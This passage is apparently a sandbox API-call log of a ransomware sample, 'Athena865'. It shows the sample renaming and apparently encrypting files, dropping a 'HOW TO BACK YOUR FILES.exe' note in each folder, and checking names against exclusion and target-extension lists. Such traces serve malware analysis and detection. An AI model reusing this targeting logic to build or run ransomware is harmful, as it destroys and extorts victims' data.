(in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.566] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.567] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fa0, lpName=0x0) returned 0x154 [0119.570] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5fa0) returned 0x100000 [0119.572] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.572] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.572] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.573] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.573] CloseHandle (hObject=0x154) returned 1 [0119.573] CloseHandle (hObject=0x17c) returned 1 [0119.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.574] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".") returned 1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="..") returned 1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="windows") returned -1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="bootmgr") returned 1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="temp") returned -1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="pagefile.sys") returned -1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="boot") returned 1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="ids.txt") returned -1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="ntuser.dat") returned -1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="perflogs") returned -1 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="MSBuild") returned -1 [0119.574] lstrlenW (lpString="DvdTransform.fx") returned 15 [0119.574] lstrcpyW (in: lpString1=0x241e8a0, lpString2="DvdTransform.fx" | out: lpString1="DvdTransform.fx") returned="DvdTransform.fx" [0119.574] lstrlenW (lpString="DvdTransform.fx") returned 15 [0119.574] lstrlenW (lpString="Athena865") returned 9 [0119.574] lstrcmpiW (lpString1="nsform.fx", lpString2="Athena865") returned 1 [0119.574] lstrlenW (lpString=".dll") returned 4 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".dll") returned 1 [0119.574] lstrlenW (lpString=".lnk") returned 4 [0119.574] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".lnk") returned 1 [0119.575] lstrlenW (lpString=".ini") returned 4 [0119.575] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".ini") returned 1 [0119.575] lstrlenW (lpString=".sys") returned 4 [0119.575] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".sys") returned 1 [0119.575] lstrlenW (lpString="DvdTransform.fx") returned 15 [0119.575] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.Athena865") returned 69 [0119.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.athena865"), dwFlags=0x1) returned 1 [0119.576] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.576] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16940) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.576] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.577] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.577] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.577] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4530, lpName=0x0) returned 0x154 [0119.579] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4530) returned 0x100000 [0119.580] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.581] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.581] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.582] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.582] CloseHandle (hObject=0x154) returned 1 [0119.582] CloseHandle (hObject=0x17c) returned 1 [0119.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.582] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0119.582] lstrcmpiW (lpString1="FlipPage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.582] lstrcmpiW (lpString1="FlipPage", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.582] lstrcmpiW (lpString1="FlipPage", lpString2=".") returned 1 [0119.582] lstrcmpiW (lpString1="FlipPage", lpString2="..") returned 1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="windows") returned -1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="bootmgr") returned 1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="temp") returned -1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="pagefile.sys") returned -1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="boot") returned 1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="ids.txt") returned -1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="ntuser.dat") returned -1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="perflogs") returned -1 [0119.583] lstrcmpiW (lpString1="FlipPage", lpString2="MSBuild") returned -1 [0119.583] lstrlenW (lpString="FlipPage") returned 8 [0119.583] lstrcpyW (in: lpString1=0x241e8a0, lpString2="FlipPage" | out: lpString1="FlipPage") returned="FlipPage" [0119.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f520 [0119.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x538ff0 [0119.583] lstrcatW (in: lpString1="FlipPage", lpString2="\\" | out: lpString1="FlipPage\\") returned="FlipPage\\" [0119.583] lstrcatW (in: lpString1="FlipPage\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="FlipPage\\HOW TO BACK YOUR FILES.exe") returned="FlipPage\\HOW TO BACK YOUR FILES.exe" [0119.583] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.587] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.587] lstrcmpiW (lpString1="Full", lpString2=".") returned 1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="..") returned 1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="windows") returned -1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="bootmgr") returned 1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="temp") returned -1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="pagefile.sys") returned -1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="boot") returned 1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="ids.txt") returned -1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="ntuser.dat") returned -1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="perflogs") returned -1 [0119.587] lstrcmpiW (lpString1="Full", lpString2="MSBuild") returned -1 [0119.587] lstrlenW (lpString="Full") returned 4 [0119.587] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Full" | out: lpString1="Full") returned="Full" [0119.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f538 [0119.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52ed60 [0119.588] lstrcatW (in: lpString1="Full", lpString2="\\" | out: lpString1="Full\\") returned="Full\\" [0119.588] lstrcatW (in: lpString1="Full\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Full\\HOW TO BACK YOUR FILES.exe") returned="Full\\HOW TO BACK YOUR FILES.exe" [0119.588] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.592] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".") returned 1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="..") returned 1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="windows") returned -1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="temp") returned -1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="pagefile.sys") returned -1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="boot") returned 1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="ids.txt") returned -1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="perflogs") returned -1 [0119.592] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="MSBuild") returned -1 [0119.592] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23 [0119.592] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Heart_ButtonGraphic.png" | out: lpString1="Heart_ButtonGraphic.png") returned="Heart_ButtonGraphic.png" [0119.592] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23 [0119.592] lstrlenW (lpString="Athena865") returned 9 [0119.593] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.593] lstrlenW (lpString=".dll") returned 4 [0119.593] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".dll") returned 1 [0119.593] lstrlenW (lpString=".lnk") returned 4 [0119.593] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".lnk") returned 1 [0119.593] lstrlenW (lpString=".ini") returned 4 [0119.593] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".ini") returned 1 [0119.593] lstrlenW (lpString=".sys") returned 4 [0119.593] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".sys") returned 1 [0119.593] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23 [0119.593] lstrlenW (lpString="bak") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.593] lstrlenW (lpString="ba_") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.593] lstrlenW (lpString="dbb") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.593] lstrlenW (lpString="vmdk") returned 4 [0119.593] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.593] lstrlenW (lpString="rar") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.593] lstrlenW (lpString="zip") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.593] lstrlenW (lpString="tgz") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.593] lstrlenW (lpString="vbox") returned 4 [0119.593] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.593] lstrlenW (lpString="vdi") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.593] lstrlenW (lpString="vhd") returned 3 [0119.593] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.593] lstrlenW (lpString="vhdx") returned 4 [0119.594] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.594] lstrlenW (lpString="avhd") returned 4 [0119.594] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.594] lstrlenW (lpString="db") returned 2 [0119.594] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.594] lstrlenW (lpString="db2") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.594] lstrlenW (lpString="db3") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.594] lstrlenW (lpString="dbf") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.594] lstrlenW (lpString="mdf") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.594] lstrlenW (lpString="mdb") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.594] lstrlenW (lpString="sql") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.594] lstrlenW (lpString="sqlite") returned 6 [0119.594] lstrcmpiW (lpString1="ic.png", lpString2="sqlite") returned -1 [0119.594] lstrlenW (lpString="sqlite3") returned 7 [0119.594] lstrcmpiW (lpString1="hic.png", lpString2="sqlite3") returned -1 [0119.594] lstrlenW (lpString="sqlitedb") returned 8 [0119.594] lstrcmpiW (lpString1="phic.png", lpString2="sqlitedb") returned -1 [0119.594] lstrlenW (lpString="xml") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.594] lstrlenW (lpString="$er") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.594] lstrlenW (lpString="4dd") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.594] lstrlenW (lpString="4dl") returned 3 [0119.594] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.595] lstrlenW (lpString="^^^") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.595] lstrlenW (lpString="abs") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.595] lstrlenW (lpString="abx") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.595] lstrlenW (lpString="accdb") returned 5 [0119.595] lstrcmpiW (lpString1="c.png", lpString2="accdb") returned 1 [0119.595] lstrlenW (lpString="accdc") returned 5 [0119.595] lstrcmpiW (lpString1="c.png", lpString2="accdc") returned 1 [0119.595] lstrlenW (lpString="accde") returned 5 [0119.595] lstrcmpiW (lpString1="c.png", lpString2="accde") returned 1 [0119.595] lstrlenW (lpString="accdr") returned 5 [0119.595] lstrcmpiW (lpString1="c.png", lpString2="accdr") returned 1 [0119.595] lstrlenW (lpString="accdt") returned 5 [0119.595] lstrcmpiW (lpString1="c.png", lpString2="accdt") returned 1 [0119.595] lstrlenW (lpString="accdw") returned 5 [0119.595] lstrcmpiW (lpString1="c.png", lpString2="accdw") returned 1 [0119.595] lstrlenW (lpString="accft") returned 5 [0119.595] lstrcmpiW (lpString1="c.png", lpString2="accft") returned 1 [0119.595] lstrlenW (lpString="adb") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.595] lstrlenW (lpString="adb") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.595] lstrlenW (lpString="ade") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.595] lstrlenW (lpString="adf") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0119.595] lstrlenW (lpString="adn") returned 3 [0119.595] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.596] lstrlenW (lpString="adp") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.596] lstrlenW (lpString="alf") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.596] lstrlenW (lpString="ask") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.596] lstrlenW (lpString="btr") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.596] lstrlenW (lpString="cat") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.596] lstrlenW (lpString="cdb") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.596] lstrlenW (lpString="ckp") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.596] lstrlenW (lpString="cma") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.596] lstrlenW (lpString="cpd") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0119.596] lstrlenW (lpString="dacpac") returned 6 [0119.596] lstrcmpiW (lpString1="ic.png", lpString2="dacpac") returned 1 [0119.596] lstrlenW (lpString="dad") returned 3 [0119.596] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.596] lstrlenW (lpString="dadiagrams") returned 10 [0119.596] lstrcmpiW (lpString1="raphic.png", lpString2="dadiagrams") returned 1 [0119.596] lstrlenW (lpString="daschema") returned 8 [0119.596] lstrcmpiW (lpString1="phic.png", lpString2="daschema") returned 1 [0119.596] lstrlenW (lpString="db-journal") returned 10 [0119.596] lstrcmpiW (lpString1="raphic.png", lpString2="db-journal") returned 1 [0119.596] lstrlenW (lpString="db-shm") returned 6 [0119.596] lstrcmpiW (lpString1="ic.png", lpString2="db-shm") returned 1 [0119.596] lstrlenW (lpString="db-wal") returned 6 [0119.597] lstrcmpiW (lpString1="ic.png", lpString2="db-wal") returned 1 [0119.597] lstrlenW (lpString="dbc") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.597] lstrlenW (lpString="dbs") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.597] lstrlenW (lpString="dbt") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.597] lstrlenW (lpString="dbv") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.597] lstrlenW (lpString="dbx") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.597] lstrlenW (lpString="dcb") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.597] lstrlenW (lpString="dct") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0119.597] lstrlenW (lpString="dcx") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0119.597] lstrlenW (lpString="ddl") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0119.597] lstrlenW (lpString="dlis") returned 4 [0119.597] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0119.597] lstrlenW (lpString="dp1") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0119.597] lstrlenW (lpString="dqy") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0119.597] lstrlenW (lpString="dsk") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0119.597] lstrlenW (lpString="dsn") returned 3 [0119.597] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0119.597] lstrlenW (lpString="dtsx") returned 4 [0119.598] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0119.598] lstrlenW (lpString="dxl") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0119.598] lstrlenW (lpString="eco") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0119.598] lstrlenW (lpString="ecx") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0119.598] lstrlenW (lpString="edb") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0119.598] lstrlenW (lpString="epim") returned 4 [0119.598] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0119.598] lstrlenW (lpString="fcd") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0119.598] lstrlenW (lpString="fdb") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0119.598] lstrlenW (lpString="fic") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0119.598] lstrlenW (lpString="flexolibrary") returned 12 [0119.598] lstrcmpiW (lpString1="nGraphic.png", lpString2="flexolibrary") returned 1 [0119.598] lstrlenW (lpString="fm5") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0119.598] lstrlenW (lpString="fmp") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0119.598] lstrlenW (lpString="fmp12") returned 5 [0119.598] lstrcmpiW (lpString1="c.png", lpString2="fmp12") returned -1 [0119.598] lstrlenW (lpString="fmpsl") returned 5 [0119.598] lstrcmpiW (lpString1="c.png", lpString2="fmpsl") returned -1 [0119.598] lstrlenW (lpString="fol") returned 3 [0119.598] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0119.598] lstrlenW 